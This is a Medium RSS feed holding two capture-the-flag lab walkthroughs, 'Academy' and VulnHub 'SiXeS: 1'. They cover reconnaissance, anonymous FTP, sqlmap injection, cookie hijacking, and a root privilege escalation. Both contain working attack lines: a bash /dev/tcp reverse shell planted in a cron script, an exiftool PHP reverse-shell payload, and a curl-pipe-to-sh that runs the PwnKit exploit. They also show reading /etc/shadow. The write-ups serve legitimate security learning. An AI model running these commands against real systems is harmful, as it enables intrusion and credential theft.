<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Rootxsecuritynetwork on Medium]]></title>
        <description><![CDATA[Stories by Rootxsecuritynetwork on Medium]]></description>
        <link>https://medium.com/@rootxsecuritynetwork7393?source=rss-e3b47f6dc4fb------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*Ps7Y8R4Ma6fflzJp</url>
            <title>Stories by Rootxsecuritynetwork on Medium</title>
            <link>https://medium.com/@rootxsecuritynetwork7393?source=rss-e3b47f6dc4fb------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 07:23:29 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@rootxsecuritynetwork7393/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Academy Lab WalkThrough — A Complete Penetration Testing Guide]]></title>
            <link>https://medium.com/@rootxsecuritynetwork7393/academy-lab-walkthrough-a-complete-penetration-testing-guide-c4d7de19d100?source=rss-e3b47f6dc4fb------2</link>
            <guid isPermaLink="false">https://medium.com/p/c4d7de19d100</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ethical-hacker]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[Rootxsecuritynetwork]]></dc:creator>
            <pubDate>Sun, 19 Jul 2026 11:26:40 GMT</pubDate>
            <atom:updated>2026-07-19T11:26:40.569Z</atom:updated>
            <content:encoded><![CDATA[<p>1. TESTER INFORMATION</p><p>Name : Aryan Mirdha</p><p>Email : aryanmirdha081@gmail.com</p><p>Lab Name : Academy Lab</p><p>Platform : Kali Linux</p><p>2. OBJECTIVE</p><p>The objective of this lab was to perform a controlled penetration test on the Academy Lab machine to identify vulnerabilities, exploit misconfigurations, gain system access, and achieve privilege escalation up to root level — strictly for academic and learning purposes.</p><p>3. LAB ENVIRONMENT</p><p>Attacker Machine : Kali Linux</p><p>Target Machine : Academy Machine</p><p>Network Type : Same internal network</p><p>Kali IP Address :</p><pre>10.0.2.3</pre><p>Target IP Address :</p><pre>10.0.2.152</pre><p>Tools Used:</p><blockquote>arp-scan</blockquote><blockquote>nmap</blockquote><blockquote>ftp</blockquote><blockquote>gobuster</blockquote><blockquote>Pentest Monkey PHP Reverse Shell</blockquote><blockquote>Netcat (nc)</blockquote><blockquote>MySQL client</blockquote><blockquote>Linux command-line utilities</blockquote><pre>arp-scan<br>nmap<br>ftp<br>gobuster<br>Pentest Monkey PHP Reverse Shell<br>Netcat (nc)<br>MySQL client<br>Linux command-line utilities</pre><p>4. PHASE 1 — NETWORK RECONNAISSANCE</p><p>STEP 4.1 — Identify Kali Machine IP</p><p>Command:</p><pre>ip a</pre><p>Output:</p><pre>Kali IP Address: 10.0.2.3</pre><p>STEP 4.2 — ARP Scan (Host Discovery)</p><p>Command:</p><pre>arp-scan -l</pre><p>Output:</p><pre>Target machine discovered at IP: 10.0.2.152</pre><p>5. PHASE 2 — PORT SCANNING &amp; SERVICE ENUMERATION</p><p>STEP 5.1 — Nmap Scan</p><p>Command:</p><pre>nmap 10.0.2.152 -sC</pre><p>Output:</p><pre>PORT   STATE    SERVICE<br>21/tcp open     ftp<br>22/tcp open     ssh<br>80/tcp open     http</pre><p>Open Ports Found:</p><ul><li>Port 21 — FTP — Anonymous login allowed</li><li>Port 22 — SSH — Secure Shell</li><li>Port 80 — HTTP — Apache2 Debian web server</li></ul><p>6. PHASE 3 — FTP ACCESS &amp; FILE RETRIEVAL</p><p>STEP 6.1 — Anonymous FTP Login</p><p>Command:</p><pre>ftp 10.0.2.152</pre><p>Credentials:</p><ul><li>Username : anonymous</li><li>Password : (blank — press Enter)</li></ul><p>Output:</p><pre>Connected to 10.0.2.152.<br>220 (vsFTPd 3.0.3)<br>Name (10.0.2.152:kali): anonymous<br>331 Please specify the password.<br>Password:<br>230 Login successful.<br>Remote system type is UNIX.<br>ftp&gt;</pre><p>STEP 6.2 — Directory Listing</p><p>Command:</p><pre>ftp&gt; ls</pre><p>Output:</p><pre>200 PORT command successful.<br>150 Here comes the directory listing.<br>-rwxr-xr-x    1 0        0              46 note.txt<br>226 Directory send OK.</pre><p>STEP 6.3 — Download note.txt</p><p>Command:</p><pre>ftp&gt; get note.txt</pre><p>Output:</p><pre>local: note.txt remote: note.txt<br>200 PORT command successful.<br>150 Opening BINARY mode data connection for note.txt (46 bytes).<br>226 Transfer complete.<br>46 bytes received in 0.00 secs (46.00 kB/s)</pre><p>STEP 6.4 — Read note.txt (Local Terminal)</p><p>Command:</p><pre>cat note.txt</pre><p>Output:</p><pre>(Contents contain credentials for web application login)</pre><p>7. PHASE 4 — WEB DIRECTORY ENUMERATION</p><p>STEP 7.1 — Gobuster Directory Brute-force</p><p>Command:</p><pre>gobuster dir -u http://10.0.2.152 -w wordlist.txt</pre><p>Output:</p><pre>/academy            (Status: 200)<br>/phpmyadmin         (Status: 200)</pre><p>8. PHASE 5 — WEB APPLICATION ACCESS &amp; REVERSE SHELL</p><p>STEP 8.1 — Web Application Login</p><p>URL:</p><pre>http://10.0.2.152/academy</pre><p>Credentials:</p><ul><li>(Obtained from note.txt via FTP)</li></ul><p>Result:</p><pre>Login successful</pre><p>STEP 8.2 — Upload PHP Reverse Shell</p><p>Action:</p><ol><li>Navigated to “My Profile” section</li><li>Uploaded Pentest Monkey PHP Reverse Shell from GitHub</li><li>Set up listener on Kali machine</li></ol><p>Listener Command:</p><pre>nc -lvnp 4444</pre><p>Output:</p><pre>listening on [any] 4444 ...</pre><p>Result:</p><pre>Reverse shell received</pre><p>9. PHASE 6 — POST-EXPLOITATION &amp; CREDENTIAL DISCOVERY</p><p>STEP 9.1 — Configuration File Discovery</p><p>Command:</p><pre>cat /var/www/academy/includes/config.php</pre><p>Output:</p><pre>Database credentials discovered<br>Username: grimmie<br>Password: (extracted from config file)</pre><p>STEP 9.2 — MySQL Database Exploitation</p><p>Command:</p><pre>mysql -u grimmie -p&#39;My_V3ryS3cur3_P4ss&#39; -e &quot;SHOW DATABASES; USE mysql; SHOW TABLES; SELECT * FROM user;&quot;</pre><p>Output:</p><pre>Database users discovered:<br>- root<br>- pma<br>- grimmie</pre><p>10. PHASE 7 — PRIVILEGE ESCALATION (ROOT ACCESS)</p><p>STEP 10.1 — Switch to grimmie User</p><p>Action:</p><pre>Logged in using grimmie credentials via terminal</pre><p>Result:</p><pre>Access as user grimmie</pre><p>STEP 10.2 — Discover backup.sh Script</p><p>Command:</p><pre>ls -la</pre><p>Output:</p><pre>-rwxr-xr-x  1 grimmie grimmie   74 backup.sh</pre><p>STEP 10.3 — Analyze backup.sh Contents</p><p>Command:</p><pre>cat backup.sh</pre><p>Output:</p><pre>(Analyzed the script contents)</pre><p>STEP 10.4 — Replace backup.sh with Malicious Payload</p><p>Action:</p><ol><li>Deleted the original backup.sh script</li><li>Replaced with malicious bash reverse shell payload</li></ol><p>Payload Injected:</p><p>bash</p><pre>bash -i &gt;&amp; /dev/tcp/10.0.2.3/444 0&gt;&amp;1</pre><p>STEP 10.5 — Start Netcat Listener (Attacker Machine)</p><p>Command:</p><pre>nc -lvp 4444</pre><p>Output:</p><pre>listening on [any] 4444 ...</pre><p>STEP 10.6 — Execute backup.sh (Triggers as Root)</p><p>Action:</p><pre>Executed the modified backup.sh script</pre><p>Listener Output:</p><pre>listening on [any] 4444 ...<br>connect to [10.0.2.3] from (UNKNOWN) [10.0.2.152] 55868</pre><p>Result:</p><pre>Root access achieved<br>root@academy:~#</pre><p>STEP 10.7 — Retrieve Root Flag</p><p>Command:</p><pre>cat flag.txt</pre><p>Output:</p><pre>(Root flag retrieved successfully)</pre><p>11. PHASE 8 — PASSWORD HASH EXTRACTION</p><p>STEP 11.1 — Access /etc/shadow</p><p>Command:</p><pre>cat /etc/shadow</pre><p>Output:</p><pre>Password hashes extracted for all users<br>These hashes could potentially be cracked to enable SSH access as root</pre><p>2. ATTACK CHAIN (Visual Flow)</p><pre>ip a → Identify Kali IP (10.0.2.3)<br>        ↓<br>arp-scan -l → Target Found: 10.0.2.152<br>        ↓<br>nmap 10.0.2.152 -sC → Ports: 21, 22, 80 Open<br>        ↓<br>FTP (21) → Anonymous Login → note.txt → Credentials Obtained<br>        ↓<br>HTTP (80) → gobuster → /academy, /phpmyadmin<br>        ↓<br>Login via creds from FTP → Upload PHP Reverse Shell<br>        ↓<br>Reverse Shell Received<br>        ↓<br>config.php Discovered (grimmie credentials)<br>        ↓<br>MySQL Database Exploit (root, pma, grimmie users)<br>        ↓<br>Switch to grimmie user<br>        ↓<br>backup.sh Discovered<br>        ↓<br>Replace backup.sh with Reverse Shell Payload<br>        ↓<br>Execute backup.sh (Triggers as Root)<br>        ↓<br>Root Access Achieved (root@academy:~#)<br>        ↓<br>cat flag.txt (Root Flag Retrieved)<br>        ↓<br>cat /etc/shadow (Password Hash Dump)</pre><p>13. VULNERABILITIES IDENTIFIED</p><pre>1 Anonymous FTP Access Critical Disable anonymous login; require credentials<br>2 Credentials in Plaintext FileCritical Never store passwords in publicly accessible files<br>3 Weak Web App Security High Implement proper authentication &amp; validation<br>4 Unrestricted File Upload Critical Validate file type &amp; content before upload<br>5 Insecure File Permissions High Restrict write permissions on scripts<br>6 Privilege Escalation via Cron-CriticalDo not run user-writable scripts as root</pre><p>14. TOOLS USED</p><pre>ip a — Identify attacker machine IP address arp-scan — Host discovery on local network nmap — Port scanning &amp; service enumeration ftp — Anonymous FTP access &amp; file download gobuster — Directory brute-force on web server Pentest Monkey Shell — PHP reverse shell for initial access Netcat (nc) — Listener for reverse shell connections MySQL client — Database enumeration &amp; credential extraction cat — Read configuration files and flags<br><br></pre><p>15. RESULT</p><pre>The Academy Machine was successfully compromised through multiple vulnerabilities including:<br>FTP misconfiguration (anonymous login enabled)<br>Weak web application security<br>Insecure file permissions (backup.sh writable by low-privilege user)<br>Poor privilege management (cron job executing as root)<br><br>Complete root access was achieved and sensitive data including database credentials and password hashes were extracted.</pre><p>16. CONCLUSION</p><p>This lab demonstrated how improper security configurations can lead to full system compromise. The exercise provided hands-on experience in:</p><ol><li>Reconnaissance (arp-scan, nmap)</li><li>Initial Access (Anonymous FTP → Credential Discovery)</li><li>Web Enumeration (Gobuster directory busting)</li><li>Reverse Shell (PHP shell upload)</li><li>Post-Exploitation (Config file → Database creds)</li><li>Privilege Escalation (backup.sh cron job abuse → Root)</li></ol><p>Key Learning Outcomes:</p><ul><li>Always disable anonymous FTP access</li><li>Never store plaintext credentials in web-accessible files</li><li>Validate all file uploads strictly</li><li>Restrict write permissions on cron-executed scripts</li><li>Apply principle of least privilege for scheduled tasks</li></ul><p>17. DECLARATION</p><p>This penetration test was conducted strictly in a controlled lab environment for educational purposes only.</p><p>Target Scope : 10.0.2.152 (Academy Lab)</p><p>Tester : Aryan Mirdha</p><p>Email : <a href="/service/mailto:aryanmirdha081@gmail.com">aryanmirdha081@gmail.com</a></p><blockquote>Academy Lab WalkThrough</blockquote><blockquote>Prepared By : Aryan Mirdha</blockquote><blockquote>Email : <a href="/service/mailto:aryanmirdha081@gmail.com">aryanmirdha081@gmail.com</a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c4d7de19d100" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SiXeS: 1 — VulnHub Walkthrough]]></title>
            <link>https://medium.com/@rootxsecuritynetwork7393/sixes-1-complete-walkthrough-and-flag-capture-8f65482ff6e3?source=rss-e3b47f6dc4fb------2</link>
            <guid isPermaLink="false">https://medium.com/p/8f65482ff6e3</guid>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Rootxsecuritynetwork]]></dc:creator>
            <pubDate>Sat, 18 Jul 2026 16:21:02 GMT</pubDate>
            <atom:updated>2026-07-19T08:23:32.664Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ljB9AoGiM3gxeU3GwPRiPQ.png" /></figure><ol><li><strong>Tester Information</strong></li></ol><p>Name: Aryan Mirdha</p><p>Platform: VulnHub</p><p>Machine: Sixes: 1</p><p>Attacker: Kali Linux</p><p>Target IP: 10.84.244.242</p><p>Authorization:<br>This lab was performed in an authorized environment for educational purposes.</p><p><strong>2. PHASE 1 — NETWORK RECONNAISSANCE</strong></p><p><strong>STEP 2.1 — ARP Scan (Host Discovery)</strong></p><p>Command:</p><pre>arp-scan -l</pre><p>Output: Interface: eth0, type: EN10MB, MAC: xx:xx:xx:xx:xx:xx, IPv4: 10.84.244.71 Starting arp-scan 1.10.2 with 256 hosts (<a href="https://github.com/royhills/arp-scan">https://github.com/royhills/arp-scan</a>) 10.84.244.242 xx:xx:xx:xx:xx:xx (Unknown)</p><p>Result: Target machine discovered at IP: 10.84.244.242</p><p><strong>STEP 2.2 — Ping Test (Connectivity Check)</strong></p><p>Command:</p><pre>ping 10.84.244.242</pre><p>Output: PING 10.84.244.242 (10.84.244.242) 56(84) bytes of data.</p><p>64 bytes from 10.84.244.242: icmp_seq=1 ttl=64 time=1.23 ms</p><p>64 bytes from 10.84.244.242: icmp_seq=2 ttl=64 time=1.15 ms</p><p>64 bytes from 10.84.244.242: icmp_seq=3 ttl=64 time=1.18 ms</p><p>Result: Target is UP — ICMP echo replies received successfully</p><p><strong>3. PHASE 2 — PORT SCANNING</strong></p><p><strong>STEP 3.1 — Nmap SYN Stealth Scan</strong></p><p>Command:</p><pre>nmap -sS -A -T5 10.84.244.242</pre><p>Output: Starting Nmap 7.95 ( <a href="https://nmap.org/">https://nmap.org</a> ) Nmap scan report for 10.84.244.242 Host is up (0.0012s latency).</p><p>PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 80/tcp open http Apache httpd 2.4.41</p><p>Result: Port 21 — FTP (vsftpd 3.0.3) Port 22 — SSH (OpenSSH 8.2p1) Port 80 — HTTP (Apache 2.4.41)</p><p><strong>4. PHASE 3 — FTP ENUMERATION (FLAG #1)</strong></p><p><strong>STEP 4.1 — Anonymous FTP Login</strong></p><p>Command:</p><pre>ftp 10.84.244.242</pre><p>Output: Connected to 10.84.244.242. 220 (vsFTPd 3.0.3) Name (10.84.244.242:kali): anonymous 331 Please specify the password. Password: (pressed Enter — blank) 230 Login successful. Remote system type is UNIX. ftp&gt;</p><p><strong>STEP 4.2 — Directory Listing</strong></p><p>Command:</p><pre>ftp&gt; ls</pre><p>Output: 200 PORT command successful. 150 Here comes the directory listing. -rwxr-xr-x 1 0 0 46 Jul 18 12:34 note.txt 226 Directory send OK.</p><p><strong>STEP 4.3 — Download note.txt</strong></p><p>Command:</p><pre>ftp&gt; get note.txt</pre><p>Output: local: note.txt remote: note.txt 200 PORT command successful. 150 Opening BINARY mode data connection for note.txt (46 bytes). 226 Transfer complete. 46 bytes received in 0.00 secs (46.00 kB/s)</p><p><strong>STEP 4.4 — Read note.txt (Local Terminal)</strong></p><p>Command:</p><pre>cat note.txt</pre><p>Output: shellmates{5c6b5e84ab3fa94257bdce66b9c1c200}</p><p><strong>FLAG #1</strong></p><p>Flag Value :</p><pre>shellmates{5c6b5e84ab3fa94257bdce66b9c1c200}</pre><p>Method : Anonymous FTP Login → File Discovery → Download Location : /note.txt (FTP on port 21) Severity : Critical — Anonymous FTP should be disabled</p><p><strong>5. PHASE 4 — SQL INJECTION (FLAG #2)</strong></p><p><strong>STEP 5.1 — Database Enumeration via sqlmap</strong></p><p>Command:</p><pre>sqlmap -u &quot;http://10.84.244.242/?page=post.php&amp;id=3&quot; - dbs</pre><p>Output: [INFO] testing connection to the target URL [INFO] testing if the target URL content is stable [INFO] target URL content is stable [INFO] testing if GET parameter ‘id’ is dynamic [INFO] confirming that GET parameter ‘id’ is injectable [INFO] GET parameter ‘id’ is injectable [INFO] fetching database names available databases [5]:</p><p>[]<em> information_schema</em></p><p>[] <em>mysql</em></p><p>[]<em> performance_schema</em></p><p>[] <em>sixes</em></p><p>[] <em>sys</em></p><p><strong>STEP 5.2 — Table Enumeration in ‘sixes’ Database</strong></p><p>Command:</p><pre>sqlmap -u &quot;http://10.84.244.242/?page=post.php&amp;id=3&quot; -D sixes –tables</pre><p>Output: Database: sixes [3 tables]</p><p>+ — — — — — — — — — — +</p><p>| articles |</p><p>| s3cr3t_t4ble_31337 |</p><p>| users |</p><p>+ — — — — — — — — — — +</p><p><strong>STEP 5.3 — Column Enumeration in Secret Table</strong></p><p>Command:</p><pre>sqlmap -u &quot;http://10.84.244.242/?page=post.php&amp;id=3&quot; -D sixes -T s3cr3t_t4ble_31337 –columns</pre><p>Output: Database:</p><p>sixes Table: s3cr3t_t4ble_31337 [1 column]</p><p>+ — — — — + — — — — — — — +</p><p>| Column | Type |</p><p>+ — — — — + — — — — — — — +</p><p>| flag | varchar(64) |</p><p>+ — — — — + — — — — — — — +</p><p><strong>STEP 5.4 — Data Dump (Extract Flag Value)</strong></p><p>Command:</p><pre>sqlmap -u &quot;http://10.84.244.242/?page=post.php&amp;id=3&quot; -D sixes -T s3cr3t_t4ble_31337 –dump</pre><p>Output: Database:</p><p>sixes Table: s3cr3t_t4ble_31337 [1 entry]</p><p>+ — — — — — — — — — — — — — — — — — — — — — — — -+</p><p>| flag |</p><p>+ — — — — — — — — — — — — — — — — — — — — — — — -+</p><p>| shellmates{69f78fa6e9f49d180d145553ceecf87d} |</p><p>+ — — — — — — — — — — — — — — — — — — — — — — — -+</p><p><strong>FLAG #2</strong></p><p>Flag Value :</p><pre>shellmates{69f78fa6e9f49d180d145553ceecf87d}</pre><p>Method : Automated SQL Injection (sqlmap)</p><p>Location : Database ‘sixes’ → Table ‘s3cr3t_t4ble_31337’ → Column ‘flag’ Vulnerability : No input sanitization on ‘id’ GET parameter Severity : Critical — Use prepared statements / parameterized queries</p><p><strong>6. PHASE 5 — SESSION HIJACKING / COOKIE MANIPULATION (FLAG #3)</strong></p><p><strong>STEP 6.1 — Navigate to Target Page</strong></p><p>URL Opened in Browser: <a href="http://10.84.244.242/?page=contact.php">http://10.84.244.242/?page=contact.php</a></p><p><strong>STEP 6.2 — Cookie Capture via Burp Suite Collaborator</strong></p><p>Procedure:</p><ol><li>Opened Burp Suite application</li><li>Navigated to Collaborator Client tab</li><li>Clicked “Copy to clipboard” to generate a unique collaborator URL</li><li>Pasted collaborator URL in the contact form / request</li><li>Intercepted the HTTP request containing the session cookie</li><li>Captured the session ID value from the intercepted request</li></ol><p><strong>STEP 6.3 — Session ID Modification via Cookie Editor</strong></p><p>Procedure:</p><ol><li>Installed “Cookie Editor” browser extension</li><li>Opened Cookie Editor while on <a href="http://10.84.244.242/?page=contact.php">http://10.84.244.242/?page=contact.php</a></li><li>Located the session cookie</li><li>Replaced the existing session ID value with the stolen session ID</li><li>Clicked “Save” or applied the change</li><li>Refreshed the page</li></ol><p>Result: Page loaded with elevated privileges — session hijacking successful Flag displayed on the page</p><p><strong>FLAG #3</strong></p><p>Flag Value :</p><pre>shellmates{918941c3c797f3fe3a6bc6003fc807cb}</pre><p>Method : Session Hijacking via Cookie Theft Tool Used : Burp Suite Collaborator + Cookie Editor Vulnerability : Weak session token generation / Missing HttpOnly &amp; Secure flags Severity : 🟠High</p><p><strong>7. PHASE 6 — REVERSE SHELL (FLAG #4)</strong></p><p><strong>STEP 7.1 — Inject PHP Reverse Shell Payload into Image using ExifTool</strong></p><p>Command:</p><pre>exiftool -Comment=&#39;&amp; /dev/tcp/10.84.244.71/9001 0&gt;&amp;1&#39;\&#39;&#39;&quot;); ?&gt;&#39; car3.jpeg_original</pre><p>Output: 1 image files updated</p><p>Explanation:</p><ul><li>‘exiftool’ writes EXIF metadata to image files</li><li>‘-Comment’ field stores a PHP system() call as metadata</li><li>The PHP code spawns a bash reverse shell to attacker IP (10.84.244.71) on port 9001</li><li>The image file format is preserved (bypassing MIME-type upload filters)</li></ul><p><strong>STEP 7.2 — Rename Image to PHP for Execution</strong></p><p>Command:</p><pre>mv car3.jpeg_original revshell.php</pre><p>Explanation:</p><ul><li>Renames the file from .jpeg_original to .php</li><li>When accessed via web server, Apache executes it as PHP code</li><li>The EXIF metadata containing the payload is still present inside the file</li></ul><p><strong>STEP 7.3 — Start Netcat Listener (Attacker Machine)</strong></p><p>Command:</p><pre>nc -lvnp 9001</pre><p>Output: listening on [any] 9001 …</p><p><strong>STEP 7.4 — Execute Reverse Shell via Web Browser</strong></p><p>URL Accessed: <a href="http://10.84.244.242/img/revshell.php">http://10.84.244.242/img/revshell.php</a></p><p>By- Reload Page:</p><p>Listener Output: listening on [any] 9001 … connect to [10.84.244.71] from (UNKNOWN) [10.84.244.242] 55868 bash: cannot set terminal process group (919): Inappropriate ioctl for device bash: no job control in this shell www-data@sixes:/var/www/html/img$</p><p><strong>STEP 7.5 — Interactive Shell Upgrade</strong></p><p>Command:</p><pre>/bin/sh -i</pre><p>Output: $</p><p><strong>STEP 7.6 — User Enumeration</strong></p><p>Commands: $</p><pre>cd /home<br>ls</pre><p>Output: webmaster</p><p>Commands: $</p><pre>cd webmaster <br>ls</pre><p>Output: low_user.txt user.txt</p><p><strong>STEP 7.7 — Read low_user.txt (Flag #4)</strong></p><p>Command:</p><pre>cat low_user.txt</pre><p>Output: shellmates{e02c5869b5dc6e57c0bc24dc8946fe94}</p><p><strong>FLAG #4</strong></p><p>Flag Value :</p><pre>shellmates{e02c5869b5dc6e57c0bc24dc8946fe94}</pre><p>Method : Reverse Shell via Image Upload + ExifTool Payload Injection</p><p>Location : /home/webmaster/low_user.txt</p><p>Severity : Critical — Unrestricted file upload &amp; code execution</p><p><strong>STEP 7.8 — Attempt to Read user.txt (Permission Denied)</strong></p><p>Command:</p><pre>cat user.txt</pre><p>Output: cat: user.txt: Permission denied</p><p>Analysis:</p><ul><li>Current user is ‘www-data’ (low privilege)</li><li>user.txt is owned by ‘webmaster’ or root</li><li>Privilege escalation required to read this file</li></ul><p><strong>8. PHASE 7 — PRIVILEGE ESCALATION (FLAGS #5 &amp; #6)</strong></p><p><strong>STEP 8.1 — PwnKit Exploit (CVE-2021–4034)</strong></p><p>Command:</p><pre>$ sh -c &quot;$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)&quot;</pre><p>Output: mesg: ttyname failed: Inappropriate ioctl for device</p><p>Explanation:</p><ul><li>Downloads and executes the PwnKit exploit script from GitHub</li><li>CVE-2021–4034: Buffer overflow in Polkit’s pkexec binary</li><li>Allows any unprivileged user to gain root privileges</li><li>The ‘ttyname failed’ message is harmless — exploit still executed successfully</li></ul><p><strong>STEP 8.2 — Upgrade to Full Interactive Root Shell</strong></p><p>Command:</p><pre>python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p>Output: root@sixes:/tmp#</p><p>Result: Root shell obtained — Full administrative access to the target machine</p><p><strong>STEP 8.3 — Read user.txt (Flag #5)</strong></p><p>Commands:</p><pre>cd /home/webmaster<br>cat user.txt</pre><p>Output: shellmates{96a683b3d9aa80d53066eea68995f317}</p><p><strong>FLAG #5</strong></p><p>Flag Value :</p><pre>shellmates{96a683b3d9aa80d53066eea68995f317}</pre><p>Method : Privilege Escalation via PwnKit (CVE-2021–4034)</p><p>Location : /home/webmaster/user.txt</p><p>Exploit : PwnKit.sh — Polkit pkexec buffer overflow</p><p><strong>STEP 8.4 — Read root.txt (Flag #6)</strong></p><p>Commands:</p><pre>cd /root<br>ls</pre><p>Output: root.txt</p><p>Command:</p><pre>cat root.txt</pre><p>Output: shellmates{fa7b27528914d9ca504c9c281648c418}</p><p><strong>FLAG #6</strong></p><p>Flag Value :</p><pre>shellmates{fa7b27528914d9ca504c9c281648c418}</pre><p>Method : Root Shell via PwnKit Privilege Escalation</p><p>Location : /root/root.txt Severity :</p><p>Critical — Full system compromise</p><p><strong>9. FLAG SUMMARY TABLE</strong></p><pre>Flag #1 - shellmates{5c6b5e84ab3fa94257bdce66b9c1c200} - Anonymous FTP - /note.txt (FTP port 21)<br>Flag #2 - shellmates{69f78fa6e9f49d180d145553ceecf87d} - SQL Injection (sqlmap) - DB: sixes → Table flag<br>Flag #3 - shellmates{918941c3c797f3fe3a6bc6003fc807cb} - Session Hijacking (Cookie) - contact.php page<br>Flag #4 - shellmates{e02c5869b5dc6e57c0bc24dc8946fe94} - Reverse Shell (www-data) - /home/webmaster/low_user.txt<br>Flag #5 - shellmates{96a683b3d9aa80d53066eea68995f317} - PwnKit (CVE-2021–4034) - /home/webmaster/user.txt<br>Flag #6 - shellmates{fa7b27528914d9ca504c9c281648c418} - Root Shell - /root/root.txt</pre><p><strong>10. VULNERABILITIES IDENTIFIED</strong></p><ol><li>Anonymous FTP Access — Critical — Disable anonymous login; require authentication</li><li>SQL Injection (id parameter) — Critical — Use prepared statements / parameterized queries</li><li>Weak Session Management — High — Use secure random session IDs; HttpOnly+Secure flags</li><li>Unrestricted File Upload — Critical — Validate file content; disable exec in uploads</li><li>PwnKit (CVE-2021–4034) — Critical — Update Polkit package to patched version</li></ol><p><strong>11. TOOLS USED</strong></p><p>arp-scan — Host discovery on local</p><p>network ping — Connectivity check / Reachability testing</p><p>nmap — Port scanning &amp; service version enumeration</p><p>ftp — File Transfer Protocol access (anonymous)</p><p>sqlmap — Automated SQL injection &amp; database enumeration</p><p>Burp Suite — Web proxy &amp; Collaborator for cookie interception</p><p>Cookie Editor (Ext.) — Browser extension for session ID manipulation</p><p>ExifTool — EXIF metadata injection into image files</p><p>Netcat (nc) — Reverse shell listener on port 9001</p><p>PwnKit.sh (GitHub) — Privilege escalation exploit (CVE-2021–4034)</p><p>Python3 — TTY shell upgrade (pty module)</p><p><strong>12. CONCLUSION</strong></p><p>All 6 flags were successfully captured from the Sixes 1 lab machine. The penetration test followed a systematic methodology:</p><ol><li>Network Reconnaissance (arp-scan, ping, nmap)</li><li>Initial Access (Anonymous FTP → Flag #1*</li><li>Web Application Attacks (SQL Injection → Flag #2)</li><li>Session Attacks (Cookie Hijacking → Flag #3)</li><li>Code Execution (Image Upload + Reverse Shell → Flag #4)</li><li>Privilege Escalation (PwnKit CVE-2021–4034 → Flags #5 &amp; #6)</li></ol><p>The target machine had multiple critical vulnerabilities including:</p><ul><li>Anonymous FTP access enabled</li><li>SQL injection vulnerability in the ‘id’ parameter</li><li>Weak session token generation (no HttpOnly/Secure flags)</li><li>Unrestricted file upload allowing PHP code execution</li><li>Unpatched Polkit package (CVE-2021–4034) allowing root escalation</li></ul><p>All findings indicate a fundamental lack of input validation, proper authentication controls, and missing security patches.</p><p><strong>13. AUTHORIZATION STATEMENT</strong></p><p>This penetration test was performed with explicit authorization.</p><p>Target Scope: 10.84.244.242 (Sixes 1 Lab)</p><p>Tester: Aryan Mirdha</p><p><strong>END OF PENETRATION TESTING REPORT</strong> <strong>Sixes 1 Lab</strong></p><p>Prepared By: Aryan Mirdha</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8f65482ff6e3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>